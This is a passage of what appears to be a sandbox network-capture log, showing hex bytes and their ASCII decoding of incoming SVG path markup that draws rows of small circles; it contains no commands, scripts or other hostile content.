d="M576.59,257.72a1.91,1.91,0,0,1-.86,2.49,2.8,2.8,0,0,1-3.72-1,2.68,2.68,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.18"></path><path class="cls-7" d="M576.33,250a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1
2023-07-27 19:54:10 UTC	4832	IN	Data Raw: 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 36 2e 32 2c 31 34 31 2e 31 38 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 Data Ascii: 1,2.69,2.69,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M596.2,141.18a1.92,1.92,0,0,1-.87,2.49,2.81,2.81,0,0,1-3.72-1,2.68,2.68,0,0,1,.57-3.21,2.52,2.52,0,0,1,3.23,0,2.37,2.37,0,0,1,.17,3.18"></path><path
2023-07-27 19:54:10 UTC	4848	IN	Data Raw: 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 33 31 2e 32 31 2c 32 34 38 2e 31 35 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 33 31 2c 32 34 30 2e 34 33 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c Data Ascii: lass="cls-7" d="M631.21,248.15a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.17"></path><path class="cls-7" d="M631,240.43a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.67,2.67,0,0,
2023-07-27 19:54:10 UTC	4864	IN	Data Raw: 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 35 30 2e 38 31 2c 31 33 31 2e 36 31 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 36 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 Data Ascii: .05,2.68,2.68,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.18"></path><path class="cls-7" d="M650.81,131.61a1.92,1.92,0,0,1-.86,2.49,2.8,2.8,0,0,1-3.72-1,2.68,2.68,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.34,2.34,0,0,1,.18,3.17"></path><path c
2023-07-27 19:54:10 UTC	4880	IN	Data Raw: 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 38 35 2e 38 33 2c 32 33 38 2e 35 38 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 32 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 38 35 2e 35 37 2c 32 33 30 2e 38 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e Data Ascii: <path class="cls-7" d="M685.83,238.58a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.69,2.69,0,0,1,.56-3.22,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M685.57,230.86a1.92,1.92,0,0,1-.87,2.49,2.81,2.81,0,0,1-3.72-1,2.
2023-07-27 19:54:10 UTC	4896	IN	Data Raw: 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 30 35 2e 34 33 2c 31 32 32 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 Data Ascii: .66,2.66,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.37,2.37,0,0,1,.18,3.18"></path><path class="cls-7" d="M705.43,122a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.37,2.37,0,0,1,.18,3.18"></path><path class
2023-07-27 19:54:10 UTC	4912	IN	Data Raw: 34 30 2e 34 35 2c 32 32 39 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 34 30 2e 31 39 2c 32 32 31 2e 32 39 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e Data Ascii: 40.45,229a1.92,1.92,0,0,1-.87,2.49,2.81,2.81,0,0,1-3.72-1.05,2.68,2.68,0,0,1,.57-3.21,2.52,2.52,0,0,1,3.23,0,2.37,2.37,0,0,1,.17,3.18"></path><path class="cls-7" d="M740.19,221.29a1.92,1.92,0,0,1-.87,2.48,2.81,2.81,0,0,1-3.72-1,2.69,2.69,0,0,1,.57-3.22,2.
2023-07-27 19:54:10 UTC	4928	IN	Data Raw: 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 36 30 2e 30 35 2c 31 31 32 2e 34 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 35 39 2e 37 39 2c 31 30 34 Data Ascii: 2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M760.05,112.46a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.56-3.21,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M759.79,104
2023-07-27 19:54:10 UTC	4944	IN	Data Raw: 4d 36 36 31 2e 31 36 2c 33 38 31 2e 31 33 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 36 31 2e 32 33 2c 33 37 32 2e 34 35 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e Data Ascii: M661.16,381.13a2.16,2.16,0,0,1-1.1,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M661.23,372.45a2.16,2.16,0,0,1-1.09,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.
2023-07-27 19:54:10 UTC	4960	IN	Data Raw: 32 33 33 2e 38 31 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 38 39 2c 32 32 35 2e 31 33 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e Data Ascii: 233.81a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M689,225.13a2.15,2.15,0,0,1-1.09,2.75,3.16,3.16,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,0,1,3.
2023-07-27 19:54:10 UTC	4976	IN	Data Raw: 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 32 33 2e 34 33 2c 33 32 30 2e 39 32 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 Data Ascii: -4.13-1.35,3,3,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.64,2.64,0,0,1,0,3.57"></path><path class="cls-9" d="M723.43,320.92a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.81,2.81,0,0,1,3.62.2,2.64,2.64,0,0,1,0,3.57"></path><path clas
2023-07-27 19:54:10 UTC	4992	IN	Data Raw: 2c 30 2c 30 2c 31 2c 33 2e 36 31 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 38 36 2c 34 31 36 2e 37 32 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 39 33 2c 34 30 38 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 Data Ascii: ,0,0,1,3.61.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M757.86,416.72a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M757.93,408a2.15,2.15,0,0
2023-07-27 19:54:10 UTC	5008	IN	Data Raw: 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 36 32 2c 32 36 39 2e 33 39 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 37 2c 32 36 30 2e 37 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 Data Ascii: 1,0,3.58"></path><path class="cls-9" d="M785.62,269.39a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.81,2.81,0,0,1,3.62.19,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M785.7,260.71a2.15,2.15,0,0,1-1.09,2.75,3.15,3.15,0
2023-07-27 19:54:10 UTC	5024	IN	Data Raw: 4d 38 32 30 2e 30 35 2c 33 36 35 2e 31 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 36 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 32 30 2e 31 33 2c 33 35 36 2e 35 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 36 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 2c 32 2e 38 2c 30 2c Data Ascii: M820.05,365.18a2.16,2.16,0,0,1-1.09,2.76,3.17,3.17,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M820.13,356.5a2.16,2.16,0,0,1-1.1,2.76,3.16,3.16,0,0,1-4.12-1.36,3,3,0,0,1,.8-3.58,2.8,2.8,0,
2023-07-27 19:54:10 UTC	5040	IN	Data Raw: 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 35 34 2e 35 36 2c 34 35 32 2e 33 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 Data Ascii: 2.75,3.15,3.15,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M854.56,452.3a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58
2023-07-27 19:54:10 UTC	5056	IN	Data Raw: 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 38 32 2e 33 32 2c 33 30 35 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 38 32 2e 34 2c 32 39 36 2e 32 39 61 32 2e 31 35 2c Data Ascii: .82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M882.32,305a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M882.4,296.29a2.15,
2023-07-27 19:54:10 UTC	5072	IN	Data Raw: 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 31 36 2e 37 35 2c 34 30 30 2e 37 37 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 31 36 2e 38 33 2c 33 39 32 2e 30 39 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 Data Ascii: 0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M916.75,400.77a2.15,2.15,0,0,1-1.09,2.75,3.16,3.16,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M916.83,392.09a2.16,2.16,0,0
2023-07-27 19:54:10 UTC	5088	IN	Data Raw: 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 34 34 2e 35 32 2c 32 35 33 2e 34 34 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 34 34 2e 36 2c 32 34 34 2e 37 36 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e Data Ascii: "cls-9" d="M944.52,253.44a2.16,2.16,0,0,1-1.09,2.75,3.15,3.15,0,0,1-4.13-1.35,3,3,0,0,1,.8-3.58,2.81,2.81,0,0,1,3.62.19,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M944.6,244.76a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.
2023-07-27 19:54:10 UTC	5104	IN	Data Raw: 37 37 2c 32 32 35 2e 35 39 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 34 39 2e 34 37 2c 32 31 36 2e 38 32 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 37 2c 33 2e 31 